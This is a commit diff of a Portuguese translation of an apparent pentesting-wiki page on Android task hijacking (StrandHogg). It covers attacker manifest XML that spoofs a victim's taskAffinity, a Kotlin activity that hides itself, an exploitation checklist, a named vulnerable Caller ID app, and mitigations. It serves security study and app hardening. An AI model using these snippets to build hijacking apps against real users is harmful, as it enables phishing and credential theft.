Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h

This commit is contained in:
Translator 2025-07-23 06:11:05 +00:00
parent bbea031157
commit 21016a3db3

View File

@ -10,44 +10,94 @@ Aqui está um resumo rápido das transições de atividades:
- **Atividade 1** começa como a única atividade em primeiro plano.
- Lançar **Atividade 2** empurra **Atividade 1** para a pilha de atividades, trazendo **Atividade 2** para o primeiro plano.
- Iniciar **Atividade 3** move **Atividade 1** e **Atividade 2** mais para trás na pilha, com **Atividade 3** agora à frente.
- Iniciar **Atividade 3** move **Atividade 1** e **Atividade 2** mais para trás na pilha, com **Atividade 3** agora na frente.
- Fechar **Atividade 3** traz **Atividade 2** de volta ao primeiro plano, demonstrando o mecanismo de navegação de tarefas simplificado do Android.
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>)
## Ataque de Afinidade de Tarefa
---
### Visão Geral da Afinidade de Tarefa e Modos de Lançamento
## Ataques de afinidade de tarefa
Em aplicativos Android, a **afinidade de tarefa** especifica a tarefa preferida de uma atividade, geralmente alinhando-se com o nome do pacote do aplicativo. Esta configuração é instrumental na criação de um aplicativo de prova de conceito (PoC) para demonstrar o ataque.
`taskAffinity` informa ao Android a qual tarefa uma `Activity` *prefere* pertencer. Quando duas atividades compartilham a mesma afinidade, **o Android pode mesclá-las dentro da mesma pilha de atividades, mesmo que venham de diferentes APKs**.
### Modos de Lançamento
Se um atacante conseguir colocar uma atividade maliciosa na **raiz** dessa pilha, toda vez que a vítima abrir o aplicativo legítimo, a interface maliciosa será a primeira coisa que o usuário verá perfeito para phishing ou solicitações de permissões abusivas.
O atributo `launchMode` direciona o manuseio das instâncias de atividade dentro das tarefas. O modo **singleTask** é fundamental para este ataque, ditando três cenários com base nas instâncias de atividade existentes e nas correspondências de afinidade de tarefa. A exploração depende da capacidade do aplicativo do atacante de imitar a afinidade de tarefa do aplicativo alvo, enganando o sistema Android para lançar o aplicativo do atacante em vez do alvo pretendido.
A superfície de ataque é mais ampla do que muitos desenvolvedores pensam, porque **cada atividade herda automaticamente uma afinidade igual ao nome do pacote do aplicativo** (a menos que o desenvolvedor defina `android:taskAffinity=""`). Portanto, *não fazer nada* já deixa o aplicativo vulnerável a sequestro de tarefas em versões do Android anteriores à 11.
### Etapas Detalhadas do Ataque
### Cenário clássico "singleTask / StrandHogg"
1. **Instalação do Aplicativo Malicioso**: A vítima instala o aplicativo do atacante em seu dispositivo.
2. **Ativação Inicial**: A vítima abre primeiro o aplicativo malicioso, preparando o dispositivo para o ataque.
3. **Tentativa de Lançamento do Aplicativo Alvo**: A vítima tenta abrir o aplicativo alvo.
4. **Execução do Sequestro**: Em algum momento, o aplicativo tenta abrir a visualização **singleTask**. Devido à afinidade de tarefa correspondente, o aplicativo malicioso é lançado no lugar do aplicativo alvo.
5. **Engano**: O aplicativo malicioso apresenta uma tela de login falsa semelhante ao aplicativo alvo, enganando o usuário para inserir informações sensíveis.
1. O atacante declara uma atividade com:
```xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
2. O aplicativo malicioso é iniciado uma vez para que a tarefa (com a afinidade falsificada) exista nas tarefas recentes.
3. Quando o usuário abre o aplicativo real mais tarde, o Android encontra que já existe uma tarefa cuja **afinidade raiz corresponde ao pacote** e simplesmente traz essa tarefa para o primeiro plano.
4. A interface do atacante é exibida primeiro.
> [!TIP]
> Observe que, para que este ataque funcione, a visualização vulnerável **não precisa ter exportado para true** nem precisa ser a atividade principal.
### Variante DefaultAffinity (sem `singleTask`) Estudo de caso de Caller ID
Para uma implementação prática deste ataque, consulte o repositório Task Hijacking Strandhogg no GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
A vulnerabilidade relatada no aplicativo **Caller ID (caller.id.phone.number.block)** mostra que o ataque *também* funciona contra o modo de lançamento `standard` padrão:
### Medidas de Prevenção
1. O aplicativo atacante cria uma atividade raiz falsa e imediatamente se oculta:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // mantém a tarefa nas recentes, mas fora de vista
}
}
```
2. O manifesto só precisa copiar o pacote da vítima em `taskAffinity`:
```xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
3. Assim que o usuário instala e abre o aplicativo malicioso **uma vez**, uma tarefa cuja afinidade é igual ao pacote da vítima existe (mas fica em segundo plano).
4. Quando o aplicativo real de Caller ID é lançado, o Android reutiliza essa tarefa e traz `HackActivity` para o primeiro plano → janela de phishing/abuso de permissões.
Para prevenir tais ataques, os desenvolvedores podem:
- Definir **`**taskAffinity`** da visualização **singleTask** como uma string vazia (`android:taskAffinity=""`)
- Optar pelo modo de lançamento **`singleInstance`**, garantindo o isolamento de seu aplicativo em relação a outros.
- Personalizar a função **`onBackPressed()`** oferece proteção adicional contra sequestro de tarefas.
> NOTA: A partir do **Android 11 (API 30)**, o sistema *não* coloca dois pacotes que não fazem parte do mesmo UID na mesma tarefa por padrão, mitigando essa variante específica. Versões mais antigas permanecem vulneráveis.
## **Referências**
---
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
## Lista de verificação de Detecção & Exploração
1. Extraia `AndroidManifest.xml` do APK alvo e verifique se cada `<activity>` (ou o elemento global `<application>`) contém `android:taskAffinity=""` (vazio) **ou** um valor personalizado.
2. Se não, crie um aplicativo malicioso:
- `android:taskAffinity` = nome do pacote da vítima.
- Forneça um intento `MAIN/LAUNCHER` para que o usuário possa abri-lo uma vez.
- Opcionalmente, chame `moveTaskToBack(true)` para ocultar imediatamente.
3. Deixe a vítima abrir seu aplicativo legítimo → sequestro.
## Mitigação
Os desenvolvedores devem:
* Definir explicitamente `android:taskAffinity=""` no nível `<application>` (recomendado) **ou** dar a cada atividade uma afinidade única e privada.
* Para telas altamente sensíveis, combine o acima com `android:launchMode="singleInstance"` ou proteções modernas [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode).
* Atualizar a `targetSdkVersion` do aplicativo e impor mudanças comportamentais do **Android 11** onde as tarefas não são compartilhadas entre pacotes por padrão.
---
## Referências
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
{{#include ../../banners/hacktricks-training.md}}